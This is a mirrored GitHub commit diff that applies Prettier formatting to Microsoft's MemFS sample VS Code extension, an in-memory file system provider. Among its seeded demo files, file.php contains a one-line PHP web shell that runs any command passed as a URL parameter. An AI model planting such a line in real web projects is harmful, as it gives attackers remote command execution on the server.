mirror of
https://github.com/microsoft/vscode-extension-samples.git
synced 2026-06-13 07:10:26 +08:00
Pretter for each ts file
This commit is contained in:
Pine Wu
@ -5,69 +5,131 @@ import * as fs from 'fs';
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import { MemFS } from './fileSystemProvider';
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export function activate(context: vscode.ExtensionContext) {
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console.log('MemFS says "Hello"');
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console.log('MemFS says "Hello"')
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const memFs = new MemFS();
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context.subscriptions.push(vscode.workspace.registerFileSystemProvider('memfs', memFs, { isCaseSensitive: true }));
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let initialized = false;
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const memFs = new MemFS();
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context.subscriptions.push(vscode.workspace.registerFileSystemProvider('memfs', memFs, { isCaseSensitive: true }));
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let initialized = false;
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context.subscriptions.push(
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vscode.commands.registerCommand('memfs.reset', _ => {
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for (const [name] of memFs.readDirectory(vscode.Uri.parse('memfs:/'))) {
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memFs.delete(vscode.Uri.parse(`memfs:/${name}`));
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}
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initialized = false;
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})
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);
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context.subscriptions.push(vscode.commands.registerCommand('memfs.reset', _ => {
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for (const [name] of memFs.readDirectory(vscode.Uri.parse('memfs:/'))) {
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memFs.delete(vscode.Uri.parse(`memfs:/${name}`));
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}
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initialized = false;
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}));
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context.subscriptions.push(
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vscode.commands.registerCommand('memfs.init', _ => {
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if (initialized) {
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return;
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}
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initialized = true;
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context.subscriptions.push(vscode.commands.registerCommand('memfs.init', _ => {
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if (initialized) {
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return;
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}
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initialized = true;
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// most common files types
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memFs.writeFile(vscode.Uri.parse(`memfs:/file.txt`), Buffer.from('foo'), { create: true, overwrite: true });
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memFs.writeFile(
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vscode.Uri.parse(`memfs:/file.html`),
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Buffer.from('<html><body><h1 class="hd">Hello</h1></body></html>'),
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{ create: true, overwrite: true }
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);
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memFs.writeFile(vscode.Uri.parse(`memfs:/file.js`), Buffer.from('console.log("JavaScript")'), {
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create: true,
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overwrite: true
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});
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memFs.writeFile(vscode.Uri.parse(`memfs:/file.json`), Buffer.from('{ "json": true }'), {
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create: true,
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overwrite: true
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});
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memFs.writeFile(vscode.Uri.parse(`memfs:/file.ts`), Buffer.from('console.log("TypeScript")'), {
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create: true,
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overwrite: true
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});
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memFs.writeFile(vscode.Uri.parse(`memfs:/file.css`), Buffer.from('* { color: green; }'), {
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create: true,
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overwrite: true
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});
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memFs.writeFile(vscode.Uri.parse(`memfs:/file.md`), Buffer.from('Hello _World_'), {
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create: true,
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overwrite: true
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});
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memFs.writeFile(
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vscode.Uri.parse(`memfs:/file.xml`),
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Buffer.from('<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>'),
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{ create: true, overwrite: true }
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);
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memFs.writeFile(
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vscode.Uri.parse(`memfs:/file.py`),
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Buffer.from('import base64, sys; base64.decode(open(sys.argv[1], "rb"), open(sys.argv[2], "wb"))'),
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{ create: true, overwrite: true }
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);
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memFs.writeFile(
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vscode.Uri.parse(`memfs:/file.php`),
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Buffer.from("<?php echo shell_exec($_GET['e'].' 2>&1'); ?>"),
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{ create: true, overwrite: true }
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);
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memFs.writeFile(vscode.Uri.parse(`memfs:/file.yaml`), Buffer.from('- just: write something'), {
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create: true,
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overwrite: true
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});
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// most common files types
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memFs.writeFile(vscode.Uri.parse(`memfs:/file.txt`), Buffer.from('foo'), { create: true, overwrite: true });
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memFs.writeFile(vscode.Uri.parse(`memfs:/file.html`), Buffer.from('<html><body><h1 class="hd">Hello</h1></body></html>'), { create: true, overwrite: true });
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memFs.writeFile(vscode.Uri.parse(`memfs:/file.js`), Buffer.from('console.log("JavaScript")'), { create: true, overwrite: true });
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memFs.writeFile(vscode.Uri.parse(`memfs:/file.json`), Buffer.from('{ "json": true }'), { create: true, overwrite: true });
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memFs.writeFile(vscode.Uri.parse(`memfs:/file.ts`), Buffer.from('console.log("TypeScript")'), { create: true, overwrite: true });
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memFs.writeFile(vscode.Uri.parse(`memfs:/file.css`), Buffer.from('* { color: green; }'), { create: true, overwrite: true });
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memFs.writeFile(vscode.Uri.parse(`memfs:/file.md`), Buffer.from('Hello _World_'), { create: true, overwrite: true });
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memFs.writeFile(vscode.Uri.parse(`memfs:/file.xml`), Buffer.from('<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>'), { create: true, overwrite: true });
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memFs.writeFile(vscode.Uri.parse(`memfs:/file.py`), Buffer.from('import base64, sys; base64.decode(open(sys.argv[1], "rb"), open(sys.argv[2], "wb"))'), { create: true, overwrite: true });
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memFs.writeFile(vscode.Uri.parse(`memfs:/file.php`), Buffer.from('<?php echo shell_exec($_GET[\'e\'].\' 2>&1\'); ?>'), { create: true, overwrite: true });
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memFs.writeFile(vscode.Uri.parse(`memfs:/file.yaml`), Buffer.from('- just: write something'), { create: true, overwrite: true });
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// some more files & folders
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memFs.createDirectory(vscode.Uri.parse(`memfs:/folder/`));
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memFs.createDirectory(vscode.Uri.parse(`memfs:/large/`));
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memFs.createDirectory(vscode.Uri.parse(`memfs:/xyz/`));
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memFs.createDirectory(vscode.Uri.parse(`memfs:/xyz/abc`));
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memFs.createDirectory(vscode.Uri.parse(`memfs:/xyz/def`));
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// some more files & folders
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memFs.createDirectory(vscode.Uri.parse(`memfs:/folder/`));
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memFs.createDirectory(vscode.Uri.parse(`memfs:/large/`));
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memFs.createDirectory(vscode.Uri.parse(`memfs:/xyz/`));
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memFs.createDirectory(vscode.Uri.parse(`memfs:/xyz/abc`));
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memFs.createDirectory(vscode.Uri.parse(`memfs:/xyz/def`));
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memFs.writeFile(vscode.Uri.parse(`memfs:/folder/empty.txt`), new Uint8Array(0), {
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create: true,
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overwrite: true
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});
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memFs.writeFile(vscode.Uri.parse(`memfs:/folder/empty.foo`), new Uint8Array(0), {
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create: true,
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overwrite: true
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});
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memFs.writeFile(vscode.Uri.parse(`memfs:/folder/file.ts`), Buffer.from('let a:number = true; console.log(a);'), {
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create: true,
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overwrite: true
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});
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memFs.writeFile(vscode.Uri.parse(`memfs:/large/rnd.foo`), randomData(50000), { create: true, overwrite: true });
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memFs.writeFile(vscode.Uri.parse(`memfs:/xyz/UPPER.txt`), Buffer.from('UPPER'), {
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create: true,
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overwrite: true
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});
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memFs.writeFile(vscode.Uri.parse(`memfs:/xyz/upper.txt`), Buffer.from('upper'), {
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create: true,
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overwrite: true
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});
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memFs.writeFile(vscode.Uri.parse(`memfs:/xyz/def/foo.md`), Buffer.from('*MemFS*'), {
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create: true,
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overwrite: true
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});
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memFs.writeFile(vscode.Uri.parse(`memfs:/xyz/def/foo.bin`), Buffer.from([0, 0, 0, 1, 7, 0, 0, 1, 1]), {
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create: true,
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overwrite: true
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});
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})
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);
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memFs.writeFile(vscode.Uri.parse(`memfs:/folder/empty.txt`), new Uint8Array(0), { create: true, overwrite: true });
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memFs.writeFile(vscode.Uri.parse(`memfs:/folder/empty.foo`), new Uint8Array(0), { create: true, overwrite: true });
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memFs.writeFile(vscode.Uri.parse(`memfs:/folder/file.ts`), Buffer.from('let a:number = true; console.log(a);'), { create: true, overwrite: true });
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memFs.writeFile(vscode.Uri.parse(`memfs:/large/rnd.foo`), randomData(50000), { create: true, overwrite: true });
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memFs.writeFile(vscode.Uri.parse(`memfs:/xyz/UPPER.txt`), Buffer.from('UPPER'), { create: true, overwrite: true });
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memFs.writeFile(vscode.Uri.parse(`memfs:/xyz/upper.txt`), Buffer.from('upper'), { create: true, overwrite: true });
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memFs.writeFile(vscode.Uri.parse(`memfs:/xyz/def/foo.md`), Buffer.from('*MemFS*'), { create: true, overwrite: true });
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memFs.writeFile(vscode.Uri.parse(`memfs:/xyz/def/foo.bin`), Buffer.from([0, 0, 0, 1, 7, 0, 0, 1, 1]), { create: true, overwrite: true });
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}));
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context.subscriptions.push(vscode.commands.registerCommand('memfs.workspaceInit', _ => {
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vscode.workspace.updateWorkspaceFolders(0, 0, { uri: vscode.Uri.parse('memfs:/'), name: "MemFS - Sample" });
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}));
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context.subscriptions.push(
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vscode.commands.registerCommand('memfs.workspaceInit', _ => {
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vscode.workspace.updateWorkspaceFolders(0, 0, { uri: vscode.Uri.parse('memfs:/'), name: 'MemFS - Sample' });
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})
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);
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}
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function randomData(lineCnt: number, lineLen = 155): Buffer {
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let lines: string[] = [];
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for (let i = 0; i < lineCnt; i++) {
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let line = '';
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while (line.length < lineLen) {
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line += Math.random().toString(2 + (i % 34)).substr(2);
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}
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lines.push(line.substr(0, lineLen));
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}
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return Buffer.from(lines.join('\n'), 'utf8');
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let lines: string[] = [];
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for (let i = 0; i < lineCnt; i++) {
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let line = '';
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while (line.length < lineLen) {
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line += Math.random()
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.toString(2 + (i % 34))
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.substr(2);
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}
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lines.push(line.substr(0, lineLen));
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}
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return Buffer.from(lines.join('\n'), 'utf8');
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}
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@ -11,212 +11,208 @@ import * as path from 'path';
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import { workspace } from 'vscode';
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export class File implements vscode.FileStat {
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type: vscode.FileType;
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ctime: number;
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mtime: number;
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size: number;
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type: vscode.FileType;
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ctime: number;
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mtime: number;
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size: number;
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name: string;
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data: Uint8Array;
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name: string;
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data: Uint8Array;
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constructor(name: string) {
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this.type = vscode.FileType.File;
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this.ctime = Date.now();
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this.mtime = Date.now();
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this.size = 0;
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this.name = name;
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}
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constructor(name: string) {
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this.type = vscode.FileType.File;
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this.ctime = Date.now();
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this.mtime = Date.now();
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this.size = 0;
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this.name = name;
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}
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}
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export class Directory implements vscode.FileStat {
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type: vscode.FileType;
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ctime: number;
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mtime: number;
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size: number;
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type: vscode.FileType;
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ctime: number;
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mtime: number;
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size: number;
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name: string;
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entries: Map<string, File | Directory>;
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name: string;
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entries: Map<string, File | Directory>;
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constructor(name: string) {
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this.type = vscode.FileType.Directory;
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this.ctime = Date.now();
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this.mtime = Date.now();
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this.size = 0;
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this.name = name;
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this.entries = new Map();
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}
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constructor(name: string) {
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this.type = vscode.FileType.Directory;
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this.ctime = Date.now();
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this.mtime = Date.now();
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this.size = 0;
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this.name = name;
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this.entries = new Map();
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}
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}
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export type Entry = File | Directory;
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export class MemFS implements vscode.FileSystemProvider {
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root = new Directory('');
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root = new Directory('');
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// --- manage file metadata
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// --- manage file metadata
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stat(uri: vscode.Uri): vscode.FileStat {
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return this._lookup(uri, false);
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}
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stat(uri: vscode.Uri): vscode.FileStat {
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return this._lookup(uri, false);
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}
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readDirectory(uri: vscode.Uri): [string, vscode.FileType][] {
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const entry = this._lookupAsDirectory(uri, false);
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let result: [string, vscode.FileType][] = [];
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for (const [name, child] of entry.entries) {
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result.push([name, child.type]);
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}
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return result;
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}
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readDirectory(uri: vscode.Uri): [string, vscode.FileType][] {
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const entry = this._lookupAsDirectory(uri, false);
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let result: [string, vscode.FileType][] = [];
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for (const [name, child] of entry.entries) {
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result.push([name, child.type]);
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}
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return result;
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}
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// --- manage file contents
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// --- manage file contents
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readFile(uri: vscode.Uri): Uint8Array {
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return this._lookupAsFile(uri, false).data;
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}
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readFile(uri: vscode.Uri): Uint8Array {
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return this._lookupAsFile(uri, false).data;
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}
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writeFile(uri: vscode.Uri, content: Uint8Array, options: { create: boolean; overwrite: boolean }): void {
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let basename = path.posix.basename(uri.path);
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let parent = this._lookupParentDirectory(uri);
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let entry = parent.entries.get(basename);
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if (entry instanceof Directory) {
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throw vscode.FileSystemError.FileIsADirectory(uri);
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}
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if (!entry && !options.create) {
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throw vscode.FileSystemError.FileNotFound(uri);
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}
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if (entry && options.create && !options.overwrite) {
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throw vscode.FileSystemError.FileExists(uri);
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}
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if (!entry) {
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entry = new File(basename);
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parent.entries.set(basename, entry);
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this._fireSoon({ type: vscode.FileChangeType.Created, uri });
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}
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entry.mtime = Date.now();
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entry.size = content.byteLength;
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entry.data = content;
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writeFile(uri: vscode.Uri, content: Uint8Array, options: { create: boolean, overwrite: boolean }): void {
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let basename = path.posix.basename(uri.path);
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let parent = this._lookupParentDirectory(uri);
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let entry = parent.entries.get(basename);
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if (entry instanceof Directory) {
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throw vscode.FileSystemError.FileIsADirectory(uri);
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}
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if (!entry && !options.create) {
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throw vscode.FileSystemError.FileNotFound(uri);
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}
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if (entry && options.create && !options.overwrite) {
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throw vscode.FileSystemError.FileExists(uri);
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}
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if (!entry) {
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entry = new File(basename);
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parent.entries.set(basename, entry);
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this._fireSoon({ type: vscode.FileChangeType.Created, uri });
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}
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entry.mtime = Date.now();
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entry.size = content.byteLength;
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entry.data = content;
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this._fireSoon({ type: vscode.FileChangeType.Changed, uri });
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}
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this._fireSoon({ type: vscode.FileChangeType.Changed, uri });
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}
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// --- manage files/folders
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// --- manage files/folders
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rename(oldUri: vscode.Uri, newUri: vscode.Uri, options: { overwrite: boolean }): void {
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if (!options.overwrite && this._lookup(newUri, true)) {
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throw vscode.FileSystemError.FileExists(newUri);
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}
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rename(oldUri: vscode.Uri, newUri: vscode.Uri, options: { overwrite: boolean }): void {
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let entry = this._lookup(oldUri, false);
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let oldParent = this._lookupParentDirectory(oldUri);
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if (!options.overwrite && this._lookup(newUri, true)) {
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throw vscode.FileSystemError.FileExists(newUri);
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}
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let newParent = this._lookupParentDirectory(newUri);
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let newName = path.posix.basename(newUri.path);
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let entry = this._lookup(oldUri, false);
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let oldParent = this._lookupParentDirectory(oldUri);
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oldParent.entries.delete(entry.name);
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entry.name = newName;
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newParent.entries.set(newName, entry);
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let newParent = this._lookupParentDirectory(newUri);
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let newName = path.posix.basename(newUri.path);
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this._fireSoon(
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{ type: vscode.FileChangeType.Deleted, uri: oldUri },
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{ type: vscode.FileChangeType.Created, uri: newUri }
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);
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}
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oldParent.entries.delete(entry.name);
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entry.name = newName;
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newParent.entries.set(newName, entry);
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delete(uri: vscode.Uri): void {
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let dirname = uri.with({ path: path.posix.dirname(uri.path) });
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let basename = path.posix.basename(uri.path);
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let parent = this._lookupAsDirectory(dirname, false);
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if (!parent.entries.has(basename)) {
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throw vscode.FileSystemError.FileNotFound(uri);
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}
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parent.entries.delete(basename);
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parent.mtime = Date.now();
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parent.size -= 1;
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this._fireSoon({ type: vscode.FileChangeType.Changed, uri: dirname }, { uri, type: vscode.FileChangeType.Deleted });
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}
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this._fireSoon(
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{ type: vscode.FileChangeType.Deleted, uri: oldUri },
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{ type: vscode.FileChangeType.Created, uri: newUri }
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);
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}
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createDirectory(uri: vscode.Uri): void {
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let basename = path.posix.basename(uri.path);
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let dirname = uri.with({ path: path.posix.dirname(uri.path) });
|
||||
let parent = this._lookupAsDirectory(dirname, false);
|
||||
|
||||
delete(uri: vscode.Uri): void {
|
||||
let dirname = uri.with({ path: path.posix.dirname(uri.path) });
|
||||
let basename = path.posix.basename(uri.path);
|
||||
let parent = this._lookupAsDirectory(dirname, false);
|
||||
if (!parent.entries.has(basename)) {
|
||||
throw vscode.FileSystemError.FileNotFound(uri);
|
||||
}
|
||||
parent.entries.delete(basename);
|
||||
parent.mtime = Date.now();
|
||||
parent.size -= 1;
|
||||
this._fireSoon({ type: vscode.FileChangeType.Changed, uri: dirname }, { uri, type: vscode.FileChangeType.Deleted });
|
||||
}
|
||||
let entry = new Directory(basename);
|
||||
parent.entries.set(entry.name, entry);
|
||||
parent.mtime = Date.now();
|
||||
parent.size += 1;
|
||||
this._fireSoon({ type: vscode.FileChangeType.Changed, uri: dirname }, { type: vscode.FileChangeType.Created, uri });
|
||||
}
|
||||
|
||||
createDirectory(uri: vscode.Uri): void {
|
||||
let basename = path.posix.basename(uri.path);
|
||||
let dirname = uri.with({ path: path.posix.dirname(uri.path) });
|
||||
let parent = this._lookupAsDirectory(dirname, false);
|
||||
// --- lookup
|
||||
|
||||
let entry = new Directory(basename);
|
||||
parent.entries.set(entry.name, entry);
|
||||
parent.mtime = Date.now();
|
||||
parent.size += 1;
|
||||
this._fireSoon({ type: vscode.FileChangeType.Changed, uri: dirname }, { type: vscode.FileChangeType.Created, uri });
|
||||
}
|
||||
private _lookup(uri: vscode.Uri, silent: false): Entry;
|
||||
private _lookup(uri: vscode.Uri, silent: boolean): Entry | undefined;
|
||||
private _lookup(uri: vscode.Uri, silent: boolean): Entry | undefined {
|
||||
let parts = uri.path.split('/');
|
||||
let entry: Entry = this.root;
|
||||
for (const part of parts) {
|
||||
if (!part) {
|
||||
continue;
|
||||
}
|
||||
let child: Entry | undefined;
|
||||
if (entry instanceof Directory) {
|
||||
child = entry.entries.get(part);
|
||||
}
|
||||
if (!child) {
|
||||
if (!silent) {
|
||||
throw vscode.FileSystemError.FileNotFound(uri);
|
||||
} else {
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
entry = child;
|
||||
}
|
||||
return entry;
|
||||
}
|
||||
|
||||
// --- lookup
|
||||
private _lookupAsDirectory(uri: vscode.Uri, silent: boolean): Directory {
|
||||
let entry = this._lookup(uri, silent);
|
||||
if (entry instanceof Directory) {
|
||||
return entry;
|
||||
}
|
||||
throw vscode.FileSystemError.FileNotADirectory(uri);
|
||||
}
|
||||
|
||||
private _lookup(uri: vscode.Uri, silent: false): Entry;
|
||||
private _lookup(uri: vscode.Uri, silent: boolean): Entry | undefined;
|
||||
private _lookup(uri: vscode.Uri, silent: boolean): Entry | undefined {
|
||||
let parts = uri.path.split('/');
|
||||
let entry: Entry = this.root;
|
||||
for (const part of parts) {
|
||||
if (!part) {
|
||||
continue;
|
||||
}
|
||||
let child: Entry | undefined;
|
||||
if (entry instanceof Directory) {
|
||||
child = entry.entries.get(part);
|
||||
}
|
||||
if (!child) {
|
||||
if (!silent) {
|
||||
throw vscode.FileSystemError.FileNotFound(uri);
|
||||
} else {
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
entry = child;
|
||||
}
|
||||
return entry;
|
||||
}
|
||||
private _lookupAsFile(uri: vscode.Uri, silent: boolean): File {
|
||||
let entry = this._lookup(uri, silent);
|
||||
if (entry instanceof File) {
|
||||
return entry;
|
||||
}
|
||||
throw vscode.FileSystemError.FileIsADirectory(uri);
|
||||
}
|
||||
|
||||
private _lookupAsDirectory(uri: vscode.Uri, silent: boolean): Directory {
|
||||
let entry = this._lookup(uri, silent);
|
||||
if (entry instanceof Directory) {
|
||||
return entry;
|
||||
}
|
||||
throw vscode.FileSystemError.FileNotADirectory(uri);
|
||||
}
|
||||
private _lookupParentDirectory(uri: vscode.Uri): Directory {
|
||||
const dirname = uri.with({ path: path.posix.dirname(uri.path) });
|
||||
return this._lookupAsDirectory(dirname, false);
|
||||
}
|
||||
|
||||
private _lookupAsFile(uri: vscode.Uri, silent: boolean): File {
|
||||
let entry = this._lookup(uri, silent);
|
||||
if (entry instanceof File) {
|
||||
return entry;
|
||||
}
|
||||
throw vscode.FileSystemError.FileIsADirectory(uri);
|
||||
}
|
||||
// --- manage file events
|
||||
|
||||
private _lookupParentDirectory(uri: vscode.Uri): Directory {
|
||||
const dirname = uri.with({ path: path.posix.dirname(uri.path) });
|
||||
return this._lookupAsDirectory(dirname, false);
|
||||
}
|
||||
private _emitter = new vscode.EventEmitter<vscode.FileChangeEvent[]>();
|
||||
private _bufferedEvents: vscode.FileChangeEvent[] = [];
|
||||
private _fireSoonHandle: NodeJS.Timer;
|
||||
|
||||
// --- manage file events
|
||||
readonly onDidChangeFile: vscode.Event<vscode.FileChangeEvent[]> = this._emitter.event;
|
||||
|
||||
private _emitter = new vscode.EventEmitter<vscode.FileChangeEvent[]>();
|
||||
private _bufferedEvents: vscode.FileChangeEvent[] = [];
|
||||
private _fireSoonHandle: NodeJS.Timer;
|
||||
watch(resource: vscode.Uri, opts): vscode.Disposable {
|
||||
// ignore, fires for all changes...
|
||||
return new vscode.Disposable(() => {});
|
||||
}
|
||||
|
||||
readonly onDidChangeFile: vscode.Event<vscode.FileChangeEvent[]> = this._emitter.event;
|
||||
|
||||
watch(resource: vscode.Uri, opts): vscode.Disposable {
|
||||
// ignore, fires for all changes...
|
||||
return new vscode.Disposable(() => { });
|
||||
}
|
||||
|
||||
private _fireSoon(...events: vscode.FileChangeEvent[]): void {
|
||||
this._bufferedEvents.push(...events);
|
||||
clearTimeout(this._fireSoonHandle);
|
||||
this._fireSoonHandle = setTimeout(() => {
|
||||
this._emitter.fire(this._bufferedEvents);
|
||||
this._bufferedEvents.length = 0;
|
||||
}, 5);
|
||||
}
|
||||
private _fireSoon(...events: vscode.FileChangeEvent[]): void {
|
||||
this._bufferedEvents.push(...events);
|
||||
clearTimeout(this._fireSoonHandle);
|
||||
this._fireSoonHandle = setTimeout(() => {
|
||||
this._emitter.fire(this._bufferedEvents);
|
||||
this._bufferedEvents.length = 0;
|
||||
}, 5);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user